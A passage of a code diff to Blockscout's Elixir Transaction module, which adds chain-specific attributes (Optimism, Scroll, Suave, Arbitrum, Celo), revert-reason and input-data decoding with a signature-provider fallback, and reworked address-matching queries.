Ecto.Query, only: [from: 2, preload: 3, subquery: 1, where: 3] + require Logger + require Explorer.Chain.Transaction.Schema alias ABI.FunctionSelector - + alias Ecto.Association.NotLoaded alias Ecto.Changeset - - alias Explorer.{Chain, Repo} + alias Explorer.{Chain, Helper, PagingOptions, Repo, SortingHelper} alias Explorer.Chain.{ Address, Block, + Block.Reward, ContractMethod, Data, - Gas, + DenormalizationHelper, Hash, - InternalTransaction, - Log, + MethodIdentifier, + SmartContract.Proxy, TokenTransfer, Transaction, Wei } - alias Explorer.Chain.Transaction.{Fork, Status} + alias Explorer.Chain.Block.Reader.General, as: BlockReaderGeneral + + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + + alias Explorer.SmartContract.SigProviderInterface + + @optional_attrs ~w(max_priority_fee_per_gas max_fee_per_gas block_hash block_number + block_consensus block_timestamp created_contract_address_hash + cumulative_gas_used earliest_processing_start error gas_price + gas_used index created_contract_code_indexed_at status + to_address_hash revert_reason type has_error_in_internal_transactions r s v)a + + @chain_type_optional_attrs (case @chain_type do + :optimism -> + ~w(l1_fee l1_fee_scalar l1_gas_price l1_gas_used l1_transaction_origin l1_block_number)a - @optional_attrs ~w(max_priority_fee_per_gas max_fee_per_gas block_hash block_number created_contract_address_hash cumulative_gas_used earliest_processing_start - error gas_used index created_contract_code_indexed_at status to_address_hash revert_reason type has_error_in_internal_txs)a + :scroll -> + ~w(l1_fee queue_index)a - @required_attrs ~w(from_address_hash gas gas_price hash input nonce r s v value)a + :suave -> + ~w(execution_node_hash wrapped_type wrapped_nonce wrapped_to_address_hash wrapped_gas wrapped_gas_price wrapped_max_priority_fee_per_gas wrapped_max_fee_per_gas wrapped_value wrapped_input wrapped_v wrapped_r wrapped_s wrapped_hash)a + + :arbitrum -> + ~w(gas_used_for_l1)a + + :celo -> + ~w(gateway_fee gas_fee_recipient_address_hash gas_token_contract_address_hash)a + + _ -> + ~w()a + end) + + @required_attrs ~w(from_address_hash gas hash input nonce value)a @typedoc """ X coordinate module n in @@ -73,6 +400,48 @@ defmodule Explorer.Chain.Transaction do """ @type wei_per_gas :: Wei.t() + @derive {Poison.Encoder, + only: [ + :block_number, + :block_timestamp, + :cumulative_gas_used, + :error, + :gas, + :gas_price, + :gas_used, + :index, + :created_contract_code_indexed_at, + :input, + :nonce, + :r, + :s, + :v, + :status, + :value, + :revert_reason + ]} + + @derive {Jason.Encoder, + only: [ + :block_number, + :block_timestamp, + :cumulative_gas_used, + :error, + :gas, + :gas_price, + :gas_used, + :index, + :created_contract_code_indexed_at, + :input, + :nonce, + :r, + :s, + :v, + :status, + :value, + :revert_reason + ]} + @typedoc """ * `block` - the block in which this transaction was mined/validated. `nil` when transaction is pending or has only been collated into one of the `uncles` in one of the `forks`. @@ -80,6 +449,8 @@ defmodule Explorer.Chain.Transaction do `uncles` in one of the `forks`. * `block_number` - Denormalized `block` `number`. `nil` when transaction is pending or has only been collated into one of the `uncles` in one of the `forks`. + * `block_consensus` - consensus of the block where transaction collated. + * `block_timestamp` - timestamp of the block where transaction collated. * `created_contract_address` - belongs_to association to `address` corresponding to `created_contract_address_hash`. * `created_contract_address_hash` - Denormalized `internal_transaction` `created_contract_address_hash` populated only when `to_address_hash` is nil. @@ -91,7 +462,7 @@ defmodule Explorer.Chain.Transaction do processing. * `error` - the `error` from the last `t:Explorer.Chain.InternalTransaction.t/0` in `internal_transactions` that caused `status` to be `:error`. Only set after `internal_transactions_index_at` is set AND if there was an error. - Also, `error` is set if transaction is replaced/dropped + Also, `error` is set if transaction is dropped/replaced * `forks` - copies of this transactions that were collated into `uncles` not on the primary consensus of the chain. * `from_address` - the source of `value` * `from_address_hash` - foreign key of `from_address` @@ -134,149 +505,25 @@ defmodule Explorer.Chain.Transaction do * `max_priority_fee_per_gas` - User defined maximum fee (tip) per unit of gas paid to validator for transaction prioritization. * `max_fee_per_gas` - Maximum total amount per unit of gas a user is willing to pay for a transaction, including base fee and priority fee. * `type` - New transaction type identifier introduced in EIP 2718 (Berlin HF) - * `has_error_in_internal_txs` - shows if the internal transactions related to transaction have errors - """ - @type t :: %__MODULE__{ - block: %Ecto.Association.NotLoaded{} | Block.t() | nil, - block_hash: Hash.t() | nil, - block_number: Block.block_number() | nil, - created_contract_address: %Ecto.Association.NotLoaded{} | Address.t() | nil, - created_contract_address_hash: Hash.Address.t() | nil, - created_contract_code_indexed_at: DateTime.t() | nil, - cumulative_gas_used: Gas.t() | nil, - earliest_processing_start: DateTime.t() | nil, - error: String.t() | nil, - forks: %Ecto.Association.NotLoaded{} | [Fork.t()], - from_address: %Ecto.Association.NotLoaded{} | Address.t(), - from_address_hash: Hash.Address.t(), - gas: Gas.t(), - gas_price: wei_per_gas, - gas_used: Gas.t() | nil, - hash: Hash.t(), - index: transaction_index | nil, - input: Data.t(), - internal_transactions: %Ecto.Association.NotLoaded{} | [InternalTransaction.t()], - logs: %Ecto.Association.NotLoaded{} | [Log.t()], - nonce: non_neg_integer(), - r: r(), - s: s(), - status: Status.t() | nil, - to_address: %Ecto.Association.NotLoaded{} | Address.t() | nil, - to_address_hash: Hash.Address.t() | nil, - uncles: %Ecto.Association.NotLoaded{} | [Block.t()], - v: v(), - value: Wei.t(), - revert_reason: String.t() | nil, - max_priority_fee_per_gas: wei_per_gas | nil, - max_fee_per_gas: wei_per_gas | nil, - type: non_neg_integer() | nil, - has_error_in_internal_txs: boolean() - } - - @derive {Poison.Encoder, - only: [ - :block_number, - :cumulative_gas_used, - :error, - :gas, - :gas_price, - :gas_used, - :index, - :created_contract_code_indexed_at, - :input, - :nonce, - :r, - :s, - :v, - :status, - :value, - :revert_reason - ]} - - @derive {Jason.Encoder, - only: [ - :block_number, - :cumulative_gas_used, - :error, - :gas, - :gas_price, - :gas_used, - :index, - :created_contract_code_indexed_at, - :input, - :nonce, - :r, - :s, - :v, - :status, - :value, - :revert_reason - ]} - - @primary_key {:hash, Hash.Full, autogenerate: false} - schema "transactions" do - field(:block_number, :integer) - field(:cumulative_gas_used, :decimal) - field(:earliest_processing_start, :utc_datetime_usec) - field(:error, :string) - field(:gas, :decimal) - field(:gas_price, Wei) - field(:gas_used, :decimal) - field(:index, :integer) - field(:created_contract_code_indexed_at, :utc_datetime_usec) - field(:input, Data) - field(:nonce, :integer) - field(:r, :decimal) - field(:s, :decimal) - field(:status, Status) - field(:v, :decimal) - field(:value, Wei) - field(:revert_reason, :string) - field(:max_priority_fee_per_gas, Wei) - field(:max_fee_per_gas, Wei) - field(:type, :integer) - field(:has_error_in_internal_txs, :boolean) - - # A transient field for deriving old block hash during transaction upserts. - # Used to force refetch of a block in case a transaction is re-collated - # in a different block. See: https://github.com/blockscout/blockscout/issues/1911 - field(:old_block_hash, Hash.Full) - - timestamps() - - belongs_to(:block, Block, foreign_key: :block_hash, references: :hash, type: Hash.Full) - has_many(:forks, Fork, foreign_key: :hash) - - belongs_to( - :from_address, - Address, - foreign_key: :from_address_hash, - references: :hash, - type: Hash.Address - ) - - has_many(:internal_transactions, InternalTransaction, foreign_key: :transaction_hash) - has_many(:logs, Log, foreign_key: :transaction_hash) - has_many(:token_transfers, TokenTransfer, foreign_key: :transaction_hash) - - belongs_to( - :to_address, - Address, - foreign_key: :to_address_hash, - references: :hash, - type: Hash.Address - ) - - has_many(:uncles, through: [:forks, :uncle]) - - belongs_to( - :created_contract_address, - Address, - foreign_key: :created_contract_address_hash, - references: :hash, - type: Hash.Address - ) - end + * `has_error_in_internal_transactions` - shows if the internal transactions related to transaction have errors + * `execution_node` - execution node address (used by Suave) + * `execution_node_hash` - foreign key of `execution_node` (used by Suave) + * `wrapped_type` - transaction type from the `wrapped` field (used by Suave) + * `wrapped_nonce` - nonce from the `wrapped` field (used by Suave) + * `wrapped_to_address` - target address from the `wrapped` field (used by Suave) + * `wrapped_to_address_hash` - `wrapped_to_address` foreign key (used by Suave) + * `wrapped_gas` - gas from the `wrapped` field (used by Suave) + * `wrapped_gas_price` - gas_price from the `wrapped` field (used by Suave) + * `wrapped_max_priority_fee_per_gas` - max_priority_fee_per_gas from the `wrapped` field (used by Suave) + * `wrapped_max_fee_per_gas` - max_fee_per_gas from the `wrapped` field (used by Suave) + * `wrapped_value` - value from the `wrapped` field (used by Suave) + * `wrapped_input` - data from the `wrapped` field (used by Suave) + * `wrapped_v` - V field of the signature from the `wrapped` field (used by Suave) + * `wrapped_r` - R field of the signature from the `wrapped` field (used by Suave) + * `wrapped_s` - S field of the signature from the `wrapped` field (used by Suave) + * `wrapped_hash` - hash from the `wrapped` field (used by Suave) + """ + Explorer.Chain.Transaction.Schema.generate() @doc """ A pending transaction does not have a `block_hash` @@ -299,7 +546,26 @@ defmodule Explorer.Chain.Transaction do iex> changeset.valid? true - A collated transaction MUST have an `index` so its position in the `block` is known and the `cumulative_gas_used` ane + A pending transaction does not have a `gas_price` (Erigon) + + iex> changeset = Explorer.Chain.Transaction.changeset( + ...> %Transaction{}, + ...> %{ + ...> from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + ...> gas: 4700000, + ...> hash: "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", + ...> input: "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + ...> nonce: 0, + ...> r: 0xAD3733DF250C87556335FFE46C23E34DBAFFDE93097EF92F52C88632A40F0C75, + ...> s: 0x72caddc0371451a58de2ca6ab64e0f586ccdb9465ff54e1c82564940e89291e3, + ...> v: 0x8d, + ...> value: 0 + ...> } + ...> ) + iex> changeset.valid? + true + + A collated transaction MUST have an `index` so its position in the `block` is known and the `cumulative_gas_used` and `gas_used` to know its fees. Post-Byzantium, the status must be present when a block is collated. @@ -409,7 +675,10 @@ defmodule Explorer.Chain.Transaction do """ def changeset(%__MODULE__{} = transaction, attrs \\ %{}) do - attrs_to_cast = @required_attrs ++ @optional_attrs + attrs_to_cast = + @required_attrs ++ + @optional_attrs ++ + @chain_type_optional_attrs transaction |> cast(attrs, attrs_to_cast) @@ -424,6 +693,11 @@ defmodule Explorer.Chain.Transaction do |> unique_constraint(:hash) end + @spec block_timestamp(t()) :: DateTime.t() + def block_timestamp(%{block_number: nil, inserted_at: time}), do: time + def block_timestamp(%{block_timestamp: time}) when not is_nil(time), do: time + def block_timestamp(%{block: %{timestamp: time}}), do: time + def preload_token_transfers(query, address_hash) do token_transfers_query = from( @@ -438,21 +712,62 @@ defmodule Explorer.Chain.Transaction do preload(query, [tt], token_transfers: ^token_transfers_query) end - def decoded_revert_reason(transaction, revert_reason) do + def decoded_revert_reason(transaction, revert_reason, options \\ []) do case revert_reason do + nil -> + nil + "0x" <> hex_part -> - proccess_hex_revert_reason(hex_part, transaction) + process_hex_revert_reason(hex_part, transaction, options) - hex_part -> - proccess_hex_revert_reason(hex_part, transaction) + hex -> + process_hex_revert_reason(hex, transaction, options) end end - defp proccess_hex_revert_reason(hex_revert_reason, %__MODULE__{to_address: smart_contract, hash: hash}) do - case Integer.parse(hex_revert_reason, 16) do - {number, ""} -> - binary_revert_reason = :binary.encode_unsigned(number) - decoded_input_data(%Transaction{to_address: smart_contract, hash: hash, input: %{bytes: binary_revert_reason}}) + @default_error_abi [ + %{ + "inputs" => [ + %{ + "name" => "reason", + "type" => "string" + } + ], + "name" => "Error", + "type" => "error" + }, + %{ + "inputs" => [ + %{ + "name" => "errorCode", + "type" => "uint256" + } + ], + "name" => "Panic", + "type" => "error" + } + ] + + defp process_hex_revert_reason(hex_revert_reason, %__MODULE__{to_address: smart_contract, hash: hash}, options) do + case Base.decode16(hex_revert_reason, case: :mixed) do + {:ok, binary_revert_reason} -> + case find_and_decode(@default_error_abi, binary_revert_reason, hash) do + {:ok, {selector, values}} -> + {:ok, mapping} = selector_mapping(selector, values, hash) + identifier = Base.encode16(selector.method_id, case: :lower) + text = function_call(selector.function, mapping) + {:ok, identifier, text, mapping} + + _ -> + decoded_input_data( + %Transaction{ + to_address: smart_contract, + hash: hash, + input: %Data{bytes: binary_revert_reason} + }, + options + ) + end _ -> hex_revert_reason @@ -460,54 +775,193 @@ defmodule Explorer.Chain.Transaction do end # Because there is no contract association, we know the contract was not verified - def decoded_input_data(%__MODULE__{to_address: nil}), do: {:error, :no_to_address} - def decoded_input_data(%__MODULE__{input: %{bytes: bytes}}) when bytes in [nil, <<>>], do: {:error, :no_input_data} - def decoded_input_data(%__MODULE__{to_address: %{contract_code: nil}}), do: {:error, :not_a_contract_call} + @spec decoded_input_data( + NotLoaded.t() | Transaction.t(), + boolean(), + [Chain.api?()], + methods_map, + smart_contract_full_abi_map + ) :: error_type | success_type + when methods_map: map(), + smart_contract_full_abi_map: map(), + error_type: {:error, any()} | {:error, :contract_not_verified | :contract_verified, list()}, + success_type: {:ok | binary(), any()} | {:ok, binary(), binary(), list()} + def decoded_input_data( + transaction, + skip_sig_provider? \\ false, + options, + methods_map \\ %{}, + smart_contract_full_abi_map \\ %{} + ) - def decoded_input_data(%__MODULE__{ - to_address: %{smart_contract: nil}, - input: %{bytes: <> = data}, - hash: hash - }) do - candidates_query = - from( - contract_method in ContractMethod, - where: contract_method.identifier == ^method_id, - limit: 1 + # skip decoding if there is no to_address + def decoded_input_data( + %__MODULE__{to_address: nil}, + _, + _, + _, + _ + ), + do: {:error, :no_to_address} + + # skip decoding if transaction is not loaded + def decoded_input_data(%NotLoaded{}, _, _, _, _), + do: {:error, :not_loaded} + + if @chain_type == :celo do + # Celo's Epoch logs does not have an associated transaction and linked to + # the block instead, so we discard these token transfers for transaction + # decoding + def decoded_input_data(nil, _, _, _, _), + do: {:error, :celo_epoch_log} + end + + # skip decoding if input is empty + def decoded_input_data( + %__MODULE__{input: %{bytes: bytes}}, + _, + _, + _, + _ ) + when bytes in [nil, <<>>] do + {:error, :no_input_data} + end + + # skip decoding if to_address is not a contract unless DECODE_NOT_A_CONTRACT_CALLS is set + if not @decode_not_a_contract_calls do + def decoded_input_data( + %__MODULE__{to_address: %{contract_code: nil}}, + _, + _, + _, + _ + ), + do: {:error, :not_a_contract_call} + end + + # if to_address's smart_contract is nil reduce to the case when to_address is not loaded + def decoded_input_data( + %__MODULE__{ + to_address: %{smart_contract: nil}, + input: input, + hash: hash + }, + skip_sig_provider?, + options, + methods_map, + smart_contract_full_abi_map + ) do + decoded_input_data( + %__MODULE__{ + to_address: %NotLoaded{}, + input: input, + hash: hash + }, + skip_sig_provider?, + options, + methods_map, + smart_contract_full_abi_map + ) + end + + # if to_address's smart_contract is not loaded reduce to the case when to_address is not loaded + def decoded_input_data( + %__MODULE__{ + to_address: %{smart_contract: %NotLoaded{}}, + input: input, + hash: hash + }, + skip_sig_provider?, + options, + methods_map, + smart_contract_full_abi_map + ) do + decoded_input_data( + %__MODULE__{ + to_address: %NotLoaded{}, + input: input, + hash: hash + }, + skip_sig_provider?, + options, + methods_map, + smart_contract_full_abi_map + ) + end + + # if to_address is not loaded try decoding by method candidates in the DB + def decoded_input_data( + %__MODULE__{ + to_address: %NotLoaded{}, + input: %{bytes: <> = data} = input, + hash: hash + }, + skip_sig_provider?, + options, + methods_map, + _smart_contract_full_abi_map + ) do + {:ok, method_id} = MethodIdentifier.cast(method_id) + methods = check_methods_cache(method_id, methods_map, options) candidates = - candidates_query - |> Repo.all() + methods |> Enum.flat_map(fn candidate -> - case do_decoded_input_data(data, [candidate.abi], nil, hash) do + case do_decoded_input_data( + data, + [candidate.abi], + hash + ) do {:ok, _, _, _} = decoded -> [decoded] _ -> [] end end) - {:error, :contract_not_verified, candidates} + {:error, :contract_not_verified, + if(candidates == [], do: decode_function_call_via_sig_provider(input, hash, skip_sig_provider?), else: candidates)} end - def decoded_input_data(%__MODULE__{to_address: %{smart_contract: nil}}) do + # if to_address is not loaded and input is not a method call return error + def decoded_input_data( + %__MODULE__{to_address: %NotLoaded{}}, + _, + _, + _, + _ + ) do {:error, :contract_not_verified, []} end - def decoded_input_data(%__MODULE__{ - input: %{bytes: data}, - to_address: %{smart_contract: %{abi: abi, address_hash: address_hash}}, - hash: hash - }) do - case do_decoded_input_data(data, abi, address_hash, hash) do - # In some cases transactions use methods of some unpredictadle contracts, so we can try to look up for method in a whole DB - {:error, :could_not_decode} -> - case decoded_input_data(%__MODULE__{ - to_address: %{smart_contract: nil}, - input: %{bytes: data}, - hash: hash - }) do + def decoded_input_data( + %__MODULE__{ + input: %{bytes: data} = input, + to_address: %{smart_contract: smart_contract}, + hash: hash + }, + skip_sig_provider?, + options, + methods_map, + smart_contract_full_abi_map + ) do + full_abi = check_full_abi_cache(smart_contract, smart_contract_full_abi_map, options) + + case do_decoded_input_data(data, full_abi, hash) do + # In some cases transactions use methods of some unpredictable contracts, so we can try to look up for method in a whole DB + {:error, error} when error in [:could_not_decode, :no_matching_function] -> + case decoded_input_data( + %__MODULE__{ + to_address: %NotLoaded{}, + input: input, + hash: hash + }, + skip_sig_provider?, + options, + methods_map, + smart_contract_full_abi_map + ) do {:error, :contract_not_verified, []} -> - {:error, :could_not_decode} + decode_function_call_via_sig_provider_wrapper(input, hash, skip_sig_provider?) {:error, :contract_not_verified, candidates} -> {:error, :contract_verified, candidates} @@ -521,14 +975,65 @@ defmodule Explorer.Chain.Transaction do end end - defp do_decoded_input_data(data, abi, address_hash, hash) do - full_abi = Chain.combine_proxy_implementation_abi(address_hash, abi) + def decoded_input_data( + %__MODULE__{to_address: %{metadata: _, ens_domain_name: _}}, + _, + _, + _, + _ + ), + do: {:error, :no_to_address} + + defp decode_function_call_via_sig_provider_wrapper(input, hash, skip_sig_provider?) do + case decode_function_call_via_sig_provider(input, hash, skip_sig_provider?) do + [] -> + {:error, :could_not_decode} + + result -> + {:error, :contract_verified, result} + end + end + defp do_decoded_input_data(data, full_abi, hash) do with {:ok, {selector, values}} <- find_and_decode(full_abi, data, hash), {:ok, mapping} <- selector_mapping(selector, values, hash), identifier <- Base.encode16(selector.method_id, case: :lower), - text <- function_call(selector.function, mapping), - do: {:ok, identifier, text, mapping} + text <- function_call(selector.function, mapping) do + {:ok, identifier, text, mapping} + end + end + + defp decode_function_call_via_sig_provider(%{bytes: data} = input, hash, skip_sig_provider?) do + with true <- SigProviderInterface.enabled?(), + false <- skip_sig_provider?, + {:ok, result} <- SigProviderInterface.decode_function_call(input), + true <- is_list(result), + false <- Enum.empty?(result), + abi <- [result |> List.first() |> Map.put("outputs", []) |> Map.put("type", "function")], + {:ok, _, _, _} = candidate <- do_decoded_input_data(data, abi, hash) do + [candidate] + else + _ -> + [] + end + end + + defp check_methods_cache(method_id, methods_map, options) do + Map.get_lazy(methods_map, method_id, fn -> + method_id + |> ContractMethod.find_contract_method_query(1) + |> Chain.select_repo(options).all() + end) + end + + defp check_full_abi_cache( + smart_contract, + smart_contract_full_abi_map, + options + ) do + Map.get_lazy(smart_contract_full_abi_map, smart_contract.address_hash, fn -> + Proxy.combine_proxy_implementation_abi(smart_contract, options) + end) end def get_method_name( @@ -539,16 +1044,21 @@ defmodule Explorer.Chain.Transaction do if transaction.created_contract_address_hash do nil else - case Transaction.decoded_input_data(%__MODULE__{ - to_address: %{smart_contract: nil}, - input: transaction.input, - hash: transaction.hash - }) do + case decoded_input_data( + %__MODULE__{ + to_address: %NotLoaded{}, + input: transaction.input, + hash: transaction.hash + }, + true, + [] + ) do {:error, :contract_not_verified, [{:ok, _method_id, decoded_func, _}]} -> parse_method_name(decoded_func) {:error, :contract_not_verified, []} -> - "0x" <> Base.encode16(method_id, case: :lower) + {:ok, method_id} = MethodIdentifier.cast(method_id) + to_string(method_id) _ -> "Transfer" @@ -558,14 +1068,16 @@ defmodule Explorer.Chain.Transaction do def get_method_name(_), do: "Transfer" - defp parse_method_name(method_desc) do + def parse_method_name(method_desc, need_upcase \\ true) do method_desc |> String.split("(") |> Enum.at(0) - |> upcase_first + |> upcase_first(need_upcase) end - defp upcase_first(<>), do: String.upcase(<>) <> rest + defp upcase_first(string, false), do: string + + defp upcase_first(<>, true), do: String.upcase(<>) <> rest defp function_call(name, mapping) do text = @@ -577,18 +1089,36 @@ defmodule Explorer.Chain.Transaction do end defp find_and_decode(abi, data, hash) do - result = - abi - |> ABI.parse_specification() - |> ABI.find_and_decode(data) - - {:ok, result} + with {%FunctionSelector{}, _mapping} = result <- + abi + |> ABI.parse_specification() + |> ABI.find_and_decode(data) do + {:ok, alter_inputs_names(result)} + end rescue - _ -> - Logger.warn(fn -> ["Could not decode input data for transaction: ", Hash.to_iodata(hash)] end) + e -> + Logger.warning(fn -> + [ + "Could not decode input data for transaction: ", + Hash.to_iodata(hash), + Exception.format(:error, e, __STACKTRACE__) + ] + end) + {:error, :could_not_decode} end + defp alter_inputs_names({%FunctionSelector{input_names: names} = selector, mapping}) do + names = + names + |> Enum.with_index() + |> Enum.map(fn {name, index} -> + if name == "", do: "arg#{index}", else: name + end) + + {%FunctionSelector{selector | input_names: names}, mapping} + end + defp selector_mapping(selector, values, hash) do types = Enum.map(selector.types, &FunctionSelector.encode_type/1) @@ -596,8 +1126,15 @@ defmodule Explorer.Chain.Transaction do {:ok, mapping} rescue - _ -> - Logger.warn(fn -> ["Could not decode input data for transaction: ", Hash.to_iodata(hash)] end) + e -> + Logger.warning(fn -> + [ + "Could not decode input data for transaction: ", + Hash.to_iodata(hash), + Exception.format(:error, e, __STACKTRACE__) + ] + end) + {:error, :could_not_decode} end @@ -605,30 +1142,107 @@ defmodule Explorer.Chain.Transaction do Produces a list of queries starting from the given one and adding filters for transactions that are linked to the given address_hash through a direction. """ - def matching_address_queries_list(query, :from, address_hash) do - [where(query, [t], t.from_address_hash == ^address_hash)] + def matching_address_queries_list(query, direction, address_hashes, custom_sorting \\ []) + + def matching_address_queries_list(query, :from, address_hashes, _custom_sorting) when is_list(address_hashes) do + [ + from( + a in fragment("SELECT unnest(?) as from_address_hash", type(^address_hashes, {:array, Hash.Address})), + as: :address_hashes, + cross_lateral_join: + transaction in subquery( + query + |> where([transaction], transaction.from_address_hash == parent_as(:address_hashes).from_address_hash) + ), + as: :transaction, + select: transaction + ) + ] + end + + def matching_address_queries_list(query, :to, address_hashes, _custom_sorting) when is_list(address_hashes) do + [ + from( + a in fragment("SELECT unnest(?) as to_address_hash", type(^address_hashes, {:array, Hash.Address})), + as: :address_hashes, + cross_lateral_join: + transaction in subquery( + query + |> where([transaction], transaction.to_address_hash == parent_as(:address_hashes).to_address_hash) + ), + as: :transaction, + select: transaction + ), + from( + a in fragment( + "SELECT unnest(?) as created_contract_address_hash", + type(^address_hashes, {:array, Hash.Address}) + ), + as: :address_hashes, + cross_lateral_join: + transaction in subquery( + query + |> where( + [transaction], + transaction.created_contract_address_hash == parent_as(:address_hashes).created_contract_address_hash + ) + ), + as: :transaction, + select: transaction + ) + ] + end + + def matching_address_queries_list(query, _direction, address_hashes, _custom_sorting) when is_list(address_hashes) do + matching_address_queries_list(query, :from, address_hashes) ++ + matching_address_queries_list(query, :to, address_hashes) end - def matching_address_queries_list(query, :to, address_hash) do + # in ^[address_hash] addresses this issue: https://github.com/blockscout/blockscout/issues/12393 + def matching_address_queries_list(query, :from, address_hash, custom_sorting) do + order = + for {key, :block_number = value} <- custom_sorting do + {value, key} + end + |> Keyword.get(:block_number, :desc) + [ - where(query, [t], t.to_address_hash == ^address_hash), - where(query, [t], t.created_contract_address_hash == ^address_hash) + query + |> where([t], t.from_address_hash in ^[address_hash]) + |> prepend_order_by([t], [{^order, t.from_address_hash}]) ] end - def matching_address_queries_list(query, _direction, address_hash) do + def matching_address_queries_list(query, :to, address_hash, custom_sorting) do + order = + for {key, :block_number = value} <- custom_sorting do + {value, key} + end + |> Keyword.get(:block_number, :desc) + [ - where(query, [t], t.from_address_hash == ^address_hash), - where(query, [t], t.to_address_hash == ^address_hash), - where(query, [t], t.created_contract_address_hash == ^address_hash) + query + |> where([t], t.to_address_hash in ^[address_hash]) + |> prepend_order_by([t], [{^order, t.to_address_hash}]), + query + |> where( + [t], + t.created_contract_address_hash in ^[address_hash] + ) + |> prepend_order_by([t], [{^order, t.created_contract_address_hash}]) ] end + def matching_address_queries_list(query, _direction, address_hash, custom_sorting) do + matching_address_queries_list(query, :from, address_hash, custom_sorting) ++ + matching_address_queries_list(query, :to, address_hash, custom_sorting) + end + def not_pending_transactions(query) do where(query, [t], not is_nil(t.block_number)) end - def not_dropped_or_replaced_transacions(query) do + def not_dropped_or_replaced_transactions(query) do where(query, [t], is_nil(t.error) or t.error != "dropped/replaced") end @@ -705,11 +1319,12 @@ defmodule Explorer.Chain.Transaction do """ def transactions_with_token_transfers(address_hash, token_hash) do query = transactions_with_token_transfers_query(address_hash, token_hash) + preloads = DenormalizationHelper.extend_block_preload([:from_address, :to_address, :created_contract_address]) from( t in subquery(query), order_by: [desc: t.block_number, desc: t.index], - preload: [:from_address, :to_address, :created_contract_address, :block] + preload: ^preloads ) end @@ -726,11 +1341,12 @@ defmodule Explorer.Chain.Transaction do def transactions_with_token_transfers_direction(direction, address_hash) do query = transactions_with_token_transfers_query_direction(direction, address_hash) + preloads = DenormalizationHelper.extend_block_preload([:from_address, :to_address, :created_contract_address]) from( t in subquery(query), order_by: [desc: t.block_number, desc: t.index], - preload: [:from_address, :to_address, :created_contract_address, :block] + preload: ^preloads ) end @@ -774,6 +1390,28 @@ defmodule Explorer.Chain.Transaction do ) end + @doc """ + Builds an `Ecto.Query` to fetch transactions for the specified block_numbers + """ + @spec transactions_for_block_numbers([non_neg_integer()]) :: Ecto.Query.t() + def transactions_for_block_numbers(block_numbers) do + from( + t in Transaction, + where: t.block_number in ^block_numbers + ) + end + + @doc """ + Builds an `Ecto.Query` to fetch transactions by hashes + """ + @spec by_hashes_query([Hash.t()]) :: Ecto.Query.t() + def by_hashes_query(hashes) do + from( + t in Transaction, + where: t.hash in ^hashes + ) + end + @doc """ Builds an `Ecto.Query` to fetch the last nonce from the given address hash. @@ -790,4 +1428,862 @@ defmodule Explorer.Chain.Transaction do limit: 1 ) end + + @doc """ + Returns true if the transaction is a Rootstock REMASC transaction. + """ + @spec rootstock_remasc_transaction?(Explorer.Chain.Transaction.t()) :: boolean + def rootstock_remasc_transaction?(%__MODULE__{to_address_hash: to_address_hash}) do + case Hash.Address.cast(Application.get_env(:explorer, __MODULE__)[:rootstock_remasc_address]) do + {:ok, address} -> address == to_address_hash + _ -> false + end + end + + @doc """ + Returns true if the transaction is a Rootstock bridge transaction. + """ + @spec rootstock_bridge_transaction?(Explorer.Chain.Transaction.t()) :: boolean + def rootstock_bridge_transaction?(%__MODULE__{to_address_hash: to_address_hash}) do + case Hash.Address.cast(Application.get_env(:explorer, __MODULE__)[:rootstock_bridge_address]) do + {:ok, address} -> address == to_address_hash + _ -> false + end + end + + def bytes_to_address_hash(bytes), do: %Hash{byte_count: 20, bytes: bytes} + + @doc """ + Fetches the transactions related to the address with the given hash, including + transactions that only have the address in the `token_transfers` related table + and rewards for block validation. + + This query is divided into multiple subqueries intentionally in order to + improve the listing performance. + + The `token_transfers` table tends to grow exponentially, and the query results + with a `transactions` `join` statement takes too long. + + To solve this the `transaction_hashes` are fetched in a separate query, and + paginated through the `block_number` already present in the `token_transfers` + table. + + ## Options + + * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is + `:required`, and the `t:Explorer.Chain.Transaction.t/0` has no associated record for that association, then the + `t:Explorer.Chain.Transaction.t/0` will not be included in the page `entries`. + * `:paging_options` - a `t:Explorer.PagingOptions.t/0` used to specify the `:page_size` and + `:key` (a tuple of the lowest/oldest `{block_number, index}`) and. Results will be the transactions older than + the `block_number` and `index` that are passed. + + """ + @spec address_to_transactions_with_rewards(Hash.Address.t(), [ + Chain.paging_options() | Chain.necessity_by_association_option() + ]) :: [__MODULE__.t()] + def address_to_transactions_with_rewards(address_hash, options \\ []) when is_list(options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case Application.get_env(:block_scout_web, BlockScoutWeb.Chain)[:has_emission_funds] && + Keyword.get(options, :direction) != :from && + Reward.address_has_rewards?(address_hash) && + Reward.get_validator_payout_key_by_mining_from_db(address_hash, options) do + %{payout_key: block_miner_payout_address} + when not is_nil(block_miner_payout_address) and address_hash == block_miner_payout_address -> + transactions_with_rewards_results(address_hash, options, paging_options) + + _ -> + address_to_transactions_without_rewards(address_hash, options) + end + end + + defp 